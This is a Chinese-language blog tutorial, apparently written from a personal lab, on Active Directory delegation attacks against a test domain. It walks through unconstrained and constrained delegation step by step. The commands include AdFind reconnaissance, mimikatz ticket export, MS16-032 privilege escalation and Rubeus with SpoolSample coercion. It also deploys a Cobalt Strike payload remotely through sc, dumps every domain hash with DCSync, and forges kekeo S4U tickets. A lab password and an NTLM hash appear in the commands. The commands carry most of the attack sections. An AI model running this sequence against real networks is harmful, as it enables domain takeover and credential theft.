在域中,除了我們常見的橫向移動以外,還有很多攻擊,像什么kerberoasting,委派攻擊,NTLMrelay啊...... 還有很多(暫時只知道這些)
以前在一篇公眾號看到的一個笑話也薈萃了網安的一些攻擊手法!! 其中提到的spooler非約束性委派就是今天要講的委派攻擊之一!!!!? 總的來說,委派攻擊可以分成以下的三種
- 非約束性委派
- 約束性委派
- 基于資源的約束性委派
基本上就這三種,隨便提一下,委派攻擊比其他攻擊會更難理解!!!
1.委派的介紹
首先,什么是委派呢?
域委派是指將域內用戶的權限委派給服務賬戶,使得服務賬號能夠以用戶的權限在域內展開活動
接著,什么樣的對象才能被委派呢?
- 主機賬號:活動目中中的Computers組內的計算機,也被稱為機器賬號
- 服務賬號:域內用戶的一種類型,是服務器運行服務時所用的賬號。
那么我們去域控上面看一看,順便說一下本次實驗環境
后續實驗環境皆在此基礎上進行
先來看機器賬號,怎么查看域內的機器有幾臺呢?
net groups "Domain Computers" /domain
(完了喜歡eason被你發現捏)?
然后我們去域控上看,DEV和COMPUTERS這兩個組
這兩個組的權限不同,DEV組的權限比COMPUTERS的權限大!!!
這兩個機器組都是可以設置委派的!!!! 然后就是服務賬號
我們隨便抓一個用戶,他是肯定沒有委派這個功能的!!! 我們只需要給他注冊一個SPN即可
setspn -A priv/server.god.org server
然后我們再去查看對應的屬性
setspn -U -A priv/test server
然后就立刻能在對應的屬性里面看見了
然后,就可以開始今天的實驗啦!!!!
2.非約束性委派攻擊
先來講一下原理吧!!!
?
其實約束性委派還是好理解,基本上就是Kerberos協議!!那么非約束性委派是怎么產生的呢??
當用戶A去訪問web服務器的時候,通過Kerberos認證,用戶就能訪問web系統上的對應服務,但是web系統可能做了站庫分離或者一些操作,導致了web系統需要再去訪問文件服務器!!!
于是非約束性委派(委派)就誕生了!!!! ~~~~
- 前面Kerberos認證和常規的認證沒區別,但是在KDC返回的ST中,包含了A用戶的TGT
- 于是Web服務在收到ST之后,就拿著這張TGT再去獲取一張通往文件服務器的ST
- 通過這種ST,web系統就拿到了文件服務器的資源,并且返回給A
這樣聽起來好像沒什么問題,但是事實真的如此嗎????
? ?:::那可當然不是!!!我來講一下這個問題出現的點
- Web服務器會將這個獲得到的TGT存儲在Lsass進程中,以便下次我們進行身份驗證
- 配置了非約束性委派導致該Web服務器可以請求域內任意機器的任意服務(用戶服務權限高)
所以,非約束性委派的一句話總結就是
用戶在拿下非約束性委派的機器,并且通過相應手段拿到高權限的TGT,以此進行PTT
那么下面,我們就來演示一下對應的流程
先去配置一個非約束性委派,然后假設我們獲取到了一臺域內機器
然后我們去查詢域內哪些機器配置了非約束性委派
先把adfind傳上去,然后執行以下命令
查詢域內配置了非約束性委派的服務賬戶
shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
?很慶幸,我們遠控的server賬戶就被配置了非約束性委派
那么我們也不妨去查一下配置了非約束性委派的機器賬號
shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn
可以看見,就算我們不做委派,域控默認的就被配置了非約束性委派!!!!?
那么首先,我們先去看一下權限
可以看見當前是無法訪問到域控上的東西的!!!!
1.域管主動認證
當然了,這種基本上是不太可能會發生的,但是原理上是行的通的,我們也來演示一下
net use \\server.god.org\c$ "admin@123" /user:GOD\administrator
先是域館主動來進行認證?
然后我們就可以去CS上將對應的票據導出
mimikatz sekurlsa::tickets /export
結果發現
不夠權限,那么我們就要提權咯,下面就來介紹一下這個CS自帶的MS16-032,這個是真的nb
就連Winserver2016都能夠提上來,直接是system
直接上線 ,那么此時我們再去導出票據
這這時候可以怎么做?? PTT啊!!!
不是,檸檬的,怎么不可以啊!!!!!? 那我們自己傳一個mimikatz上去試試?
然后我們再去注一次票
? ? :: 這不就可以了嗎, 牛魔的cs的mimikatz總感覺有點問題
然后后面就是我們熟悉的橫向移動了!!!!
shell copy counterstrike.exe \\owa.god.org\c$shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"shell sc \\owa.god.org start cs
執行即上線
2.Spooler漏洞聯動非約束性委派
在現實生活中,是肯定不會有域館主動來連接我們的,所以我們就要依靠打印機漏洞
這也就是那個樂子的出處
Windows打印系統協議(MS-RPRN)是一種舊的,但是默認啟動的方法,在該方法中,域用戶可以通過該方法強制讓任何運行了Spooler服務的計算機通過Kerberos或者NTLM協議對攻擊者選擇的目標進行身份驗證。
這個服務是默認開啟的!!!!!?
那么!!! 開搞? ?先把rubeus,和spoolsample傳上去
然后我們先開著監聽
shell Rubeus.exe monitor /interval:1 /filteruser:OWA$ //后面這個是與域控的機器名字
然后強制回連
shell SpoolSample.exe OWA SERVER
但是呢,就很奇怪了.....?
這玩意咋一點反應都沒得啊(我防火墻關了啊!!!)
發現了這個,真的無語了,于是上網查了一下,大部分也是成功的但是也有和我一樣失敗的
但是不重要,我們直接繼續后面的步驟
你會得到這樣的一個"TGT",然后就是注票
rebeus.exe ptt /ticket "剛才的TGT"
然后獲取哈希
lsadump::dcsync /all /csv
然后就能得到KRBTGT的NTLM哈希了!!!??
剩下的就不用我教你了吧,直接黃金票據了!!!
? ??
3.約束性委派攻擊
這個就比較難了,???前方高能???,發車!!!!
? ? ? ? ? ? ? ? ? ? ? ? ??
想聽懂約束性委派,你就必須要學會一個協議 S4U2 (Service For User To)下的兩個子協議
- S4U2S(Service For User To Self)
- S4U2P(Service For User To Proxy)
對于約束性委派,就要先看一下場景。
當用戶不在域內的時候,為了讓用戶獲取到文件服務上的資源,微軟引進了S4U2協議
- 用戶先通過NTLM或者其他認證,認證到WEB系統
- 然后Web系統以本機賬戶去申請一張TGT,然后以用戶身份拿著這樣TGT去申請ST1
- 然后將申請到的ST1返回給用戶
- 用戶再將ST1發給Web系統
- Web系統再將對應的ST1發送給KDC,請求ST2(S4U2P)
- 在獲得了ST2之后,再去訪問文件服務器
當然了,之所以叫做約束性委派,原因就是只能訪問對應的服務捏!!!!
? ? ::那么問題出在哪里了呢????
- WEB服務器可不可以直接偽造域管的身份???? 我們在白銀票據不是說過嗎,如果我們能拿下服務賬號的NTLM哈希,那么就能偽造白銀票據!!
實施上也正是如此
這個就是通過拿下約束性委派機器的NTLM哈希,偽造Administrator的ST1,然后再去偽造ST2,訪問被約束了的對應服務!!!
那么下面,我們來演示一波,先去配置約束性委派
這里我就讓他約束為只能訪問域控的CIFS服務吧
先去看看什么機器被配置了約束性委派
shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
結果發現沒有?
然后我們再去查一下服務賬戶
shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
能查到一個Server的賬戶,能訪問得到域管上的服務,那么我們抓一波哈希
抓到,然后我們申請一張TGT ,這里用kekeo,先傳上去
然后我們偽造TGT(這里是以SERVER來做TGT噢,理解這里,你就理解S4U2S了)
shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"
可以看見這張TGT
然后我們就以域管得身份去申請一張ST1(S4U2S)
shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:administrator@god.org /service:cifs/owa.god.org" "exit"
可以看見他在申請了ST1的同時又給我們申請了一張ST2,于是就終于到了最后一步偽造啦!!!
mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi
此時,我們就可以去查看域控上的任意東西啦!!!!
但是,能不能傳馬呢????嘻嘻嘻嘻
肯定不行啊,CIFS只是能訪問對應的文件,如果能傳馬,又怎么教約束性委派呢???/
那么如果域控配置了HOST服務那就可以了? ?--->(為了節目效果,我們就去配一下)
然后我們就可以申請去域控的服務票據ST2啦,先去清個票
然后就是熟悉的操作
于是就能看見我們的兩張票了!!!!!
然后就是熟悉的上馬了!!!!但是牛魔了,拒絕訪問???
那么如果是ldap服務呢???
然后我們再去做服務
結果發現,服務是能做成功,但是服務運行不起來
但是又沒有方法呢???? ?有!!! 就算只是cifs服務也可以
奇安信攻防社區-紅隊域滲透技術:委派攻擊匯總(全)
可以參考上面的連接,不過他用的是impacket的python腳本(如果目標服務器沒有python呢??)
所以網上大部分的委派攻擊的文章都是直接到了能dir就結束了,而且約束性委派的攻擊利用較少,這里就不演示了!!?
?? ??
當然了,只有兩種委派攻擊嗎,那當然不是,下一張,我們就講我們的大boss!!!
基于資源的約束性委派--- >>> RBCD
? ? ?